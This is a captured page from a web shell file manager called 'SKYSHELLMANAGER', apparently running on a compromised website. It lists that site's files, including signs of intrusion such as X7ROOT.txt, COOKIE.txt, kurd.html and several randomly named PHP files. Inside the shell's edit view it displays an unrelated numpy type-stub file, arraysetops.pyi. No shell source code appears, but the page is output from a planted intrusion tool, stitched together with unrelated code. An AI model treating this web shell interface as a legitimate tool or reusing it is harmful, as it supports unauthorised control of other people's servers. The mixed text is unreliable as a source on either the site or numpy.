ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30

Path:root/home/qooetu/costes.qooetu.com/

Name	Size	Perm	Actions
📁 .well-known	-	0755	🗑️ 🏷️
📁 2e19d9	-	0755	🗑️ 🏷️
📁 6b114	-	0755	🗑️ 🏷️
📁 Modules	-	0755	🗑️ 🏷️
📁 app	-	0755	🗑️ 🏷️
📁 assets	-	0755	🗑️ 🏷️
📁 bootstrap	-	0755	🗑️ 🏷️
📁 cgi-bin	-	0755	🗑️ 🏷️
📁 config	-	0755	🗑️ 🏷️
📁 css	-	0755	🗑️ 🏷️
📁 database	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 nbproject	-	0755	🗑️ 🏷️
📁 public	-	0755	🗑️ 🏷️
📁 resources	-	0755	🗑️ 🏷️
📁 routes	-	0755	🗑️ 🏷️
📁 storage	-	0755	🗑️ 🏷️
📁 tests	-	0755	🗑️ 🏷️
📁 uploads	-	0755	🗑️ 🏷️
📁 vendor	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📄 .htaccess	0.23 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 COOKIE.txt	0.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 X7ROOT.txt	0.27 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 defaults.php	1.29 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 engine.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	813.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 features.php	11.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 googlecfb82e09419fc0f6.html	0.05 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php0	1.56 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 inputs.php	0.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 kurd.html	1.07 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 library.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 min.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 p.php	2.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 php.ini	0.04 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 product.php	1.78 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 qpmwztts.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.32 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 tovmbkwh.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 tyyffovi.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 veoxv.html	1.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: arraysetops.pyi

from typing import (
    Literal as L,
    Any,
    TypeVar,
    overload,
    SupportsIndex,
)

from numpy import (
    generic,
    number,
    bool_,
    ushort,
    ubyte,
    uintc,
    uint,
    ulonglong,
    short,
    int8,
    byte,
    intc,
    int_,
    intp,
    longlong,
    half,
    single,
    double,
    longdouble,
    csingle,
    cdouble,
    clongdouble,
    timedelta64,
    datetime64,
    object_,
    str_,
    bytes_,
    void,
)

from numpy._typing import (
    ArrayLike,
    NDArray,
    _ArrayLike,
    _ArrayLikeBool_co,
    _ArrayLikeDT64_co,
    _ArrayLikeTD64_co,
    _ArrayLikeObject_co,
    _ArrayLikeNumber_co,
)

_SCT = TypeVar("_SCT", bound=generic)
_NumberType = TypeVar("_NumberType", bound=number[Any])

# Explicitly set all allowed values to prevent accidental castings to
# abstract dtypes (their common super-type).
#
# Only relevant if two or more arguments are parametrized, (e.g. `setdiff1d`)
# which could result in, for example, `int64` and `float64`producing a
# `number[_64Bit]` array
_SCTNoCast = TypeVar(
    "_SCTNoCast",
    bool_,
    ushort,
    ubyte,
    uintc,
    uint,
    ulonglong,
    short,
    byte,
    intc,
    int_,
    longlong,
    half,
    single,
    double,
    longdouble,
    csingle,
    cdouble,
    clongdouble,
    timedelta64,
    datetime64,
    object_,
    str_,
    bytes_,
    void,
)

__all__: list[str]

@overload
def ediff1d(
    ary: _ArrayLikeBool_co,
    to_end: None | ArrayLike = ...,
    to_begin: None | ArrayLike = ...,
) -> NDArray[int8]: ...
@overload
def ediff1d(
    ary: _ArrayLike[_NumberType],
    to_end: None | ArrayLike = ...,
    to_begin: None | ArrayLike = ...,
) -> NDArray[_NumberType]: ...
@overload
def ediff1d(
    ary: _ArrayLikeNumber_co,
    to_end: None | ArrayLike = ...,
    to_begin: None | ArrayLike = ...,
) -> NDArray[Any]: ...
@overload
def ediff1d(
    ary: _ArrayLikeDT64_co | _ArrayLikeTD64_co,
    to_end: None | ArrayLike = ...,
    to_begin: None | ArrayLike = ...,
) -> NDArray[timedelta64]: ...
@overload
def ediff1d(
    ary: _ArrayLikeObject_co,
    to_end: None | ArrayLike = ...,
    to_begin: None | ArrayLike = ...,
) -> NDArray[object_]: ...

@overload
def unique(
    ar: _ArrayLike[_SCT],
    return_index: L[False] = ...,
    return_inverse: L[False] = ...,
    return_counts: L[False] = ...,
    axis: None | SupportsIndex = ...,
    *,
    equal_nan: bool = ...,
) -> NDArray[_SCT]: ...
@overload
def unique(
    ar: ArrayLike,
    return_index: L[False] = ...,
    return_inverse: L[False] = ...,
    return_counts: L[False] = ...,
    axis: None | SupportsIndex = ...,
    *,
    equal_nan: bool = ...,
) -> NDArray[Any]: ...
@overload
def unique(
    ar: _ArrayLike[_SCT],
    return_index: L[True] = ...,
    return_inverse: L[False] = ...,
    return_counts: L[False] = ...,
    axis: None | SupportsIndex = ...,
    *,
    equal_nan: bool = ...,
) -> tuple[NDArray[_SCT], NDArray[intp]]: ...
@overload
def unique(
    ar: ArrayLike,
    return_index: L[True] = ...,
    return_inverse: L[False] = ...,
    return_counts: L[False] = ...,
    axis: None | SupportsIndex = ...,
    *,
    equal_nan: bool = ...,
) -> tuple[NDArray[Any], NDArray[intp]]: ...
@overload
def unique(
    ar: _ArrayLike[_SCT],
    return_index: L[False] = ...,
    return_inverse: L[True] = ...,
    return_counts: L[False] = ...,
    axis: None | SupportsIndex = ...,
    *,
    equal_nan: bool = ...,
) -> tuple[NDArray[_SCT], NDArray[intp]]: ...
@overload
def unique(
    ar: ArrayLike,
    return_index: L[False] = ...,
    return_inverse: L[True] = ...,
    return_counts: L[False] = ...,
    axis: None | SupportsIndex = ...,
    *,
    equal_nan: bool = ...,
) -> tuple[NDArray[Any], NDArray[intp]]: ...
@overload
def unique(
    ar: _ArrayLike[_SCT],
    return_index: L[False] = ...,
    return_inverse: L[False] = ...,
    return_counts: L[True] = ...,
    axis: None | SupportsIndex = ...,
    *,
    equal_nan: bool = ...,
) -> tuple[NDArray[_SCT], NDArray[intp]]: ...
@overload
def unique(
    ar: ArrayLike,
    return_index: L[False] = ...,
    return_inverse: L[False] = ...,
    return_counts: L[True] = ...,
    axis: None | SupportsIndex = ...,
    *,
    equal_nan: bool = ...,
) -> tuple[NDArray[Any], NDArray[intp]]: ...
@overload
def unique(
    ar: _ArrayLike[_SCT],
    return_index: L[True] = ...,
    return_inverse: L[True] = ...,
    return_counts: L[False] = ...,
    axis: None | SupportsIndex = ...,
    *,
    equal_nan: bool = ...,
) -> tuple[NDArray[_SCT], NDArray[intp], NDArray[intp]]: ...
@overload
def unique(
    ar: ArrayLike,
    return_index: L[True] = ...,
    return_inverse: L[True] = ...,
    return_counts: L[False] = ...,
    axis: None | SupportsIndex = ...,
    *,
    equal_nan: bool = ...,
) -> tuple[NDArray[Any], NDArray[intp], NDArray[intp]]: ...
@overload
def unique(
    ar: _ArrayLike[_SCT],
    return_index: L[True] = ...,
    return_inverse: L[False] = ...,
    return_counts: L[True] = ...,
    axis: None | SupportsIndex = ...,
    *,
    equal_nan: bool = ...,
) -> tuple[NDArray[_SCT], NDArray[intp], NDArray[intp]]: ...
@overload
def unique(
    ar: ArrayLike,
    return_index: L[True] = ...,
    return_inverse: L[False] = ...,
    return_counts: L[True] = ...,
    axis: None | SupportsIndex = ...,
    *,
    equal_nan: bool = ...,
) -> tuple[NDArray[Any], NDArray[intp], NDArray[intp]]: ...
@overload
def unique(
    ar: _ArrayLike[_SCT],
    return_index: L[False] = ...,
    return_inverse: L[True] = ...,
    return_counts: L[True] = ...,
    axis: None | SupportsIndex = ...,
    *,
    equal_nan: bool = ...,
) -> tuple[NDArray[_SCT], NDArray[intp], NDArray[intp]]: ...
@overload
def unique(
    ar: ArrayLike,
    return_index: L[False] = ...,
    return_inverse: L[True] = ...,
    return_counts: L[True] = ...,
    axis: None | SupportsIndex = ...,
    *,
    equal_nan: bool = ...,
) -> tuple[NDArray[Any], NDArray[intp], NDArray[intp]]: ...
@overload
def unique(
    ar: _ArrayLike[_SCT],
    return_index: L[True] = ...,
    return_inverse: L[True] = ...,
    return_counts: L[True] = ...,
    axis: None | SupportsIndex = ...,
    *,
    equal_nan: bool = ...,
) -> tuple[NDArray[_SCT], NDArray[intp], NDArray[intp], NDArray[intp]]: ...
@overload
def unique(
    ar: ArrayLike,
    return_index: L[True] = ...,
    return_inverse: L[True] = ...,
    return_counts: L[True] = ...,
    axis: None | SupportsIndex = ...,
    *,
    equal_nan: bool = ...,
) -> tuple[NDArray[Any], NDArray[intp], NDArray[intp], NDArray[intp]]: ...

@overload
def intersect1d(
    ar1: _ArrayLike[_SCTNoCast],
    ar2: _ArrayLike[_SCTNoCast],
    assume_unique: bool = ...,
    return_indices: L[False] = ...,
) -> NDArray[_SCTNoCast]: ...
@overload
def intersect1d(
    ar1: ArrayLike,
    ar2: ArrayLike,
    assume_unique: bool = ...,
    return_indices: L[False] = ...,
) -> NDArray[Any]: ...
@overload
def intersect1d(
    ar1: _ArrayLike[_SCTNoCast],
    ar2: _ArrayLike[_SCTNoCast],
    assume_unique: bool = ...,
    return_indices: L[True] = ...,
) -> tuple[NDArray[_SCTNoCast], NDArray[intp], NDArray[intp]]: ...
@overload
def intersect1d(
    ar1: ArrayLike,
    ar2: ArrayLike,
    assume_unique: bool = ...,
    return_indices: L[True] = ...,
) -> tuple[NDArray[Any], NDArray[intp], NDArray[intp]]: ...

@overload
def setxor1d(
    ar1: _ArrayLike[_SCTNoCast],
    ar2: _ArrayLike[_SCTNoCast],
    assume_unique: bool = ...,
) -> NDArray[_SCTNoCast]: ...
@overload
def setxor1d(
    ar1: ArrayLike,
    ar2: ArrayLike,
    assume_unique: bool = ...,
) -> NDArray[Any]: ...

def in1d(
    ar1: ArrayLike,
    ar2: ArrayLike,
    assume_unique: bool = ...,
    invert: bool = ...,
) -> NDArray[bool_]: ...

def isin(
    element: ArrayLike,
    test_elements: ArrayLike,
    assume_unique: bool = ...,
    invert: bool = ...,
) -> NDArray[bool_]: ...

@overload
def union1d(
    ar1: _ArrayLike[_SCTNoCast],
    ar2: _ArrayLike[_SCTNoCast],
) -> NDArray[_SCTNoCast]: ...
@overload
def union1d(
    ar1: ArrayLike,
    ar2: ArrayLike,
) -> NDArray[Any]: ...

@overload
def setdiff1d(
    ar1: _ArrayLike[_SCTNoCast],
    ar2: _ArrayLike[_SCTNoCast],
    assume_unique: bool = ...,
) -> NDArray[_SCTNoCast]: ...
@overload
def setdiff1d(
    ar1: ArrayLike,
    ar2: ArrayLike,
    assume_unique: bool = ...,
) -> NDArray[Any]: ...

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.2.30

Edit: arraysetops.pyi

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30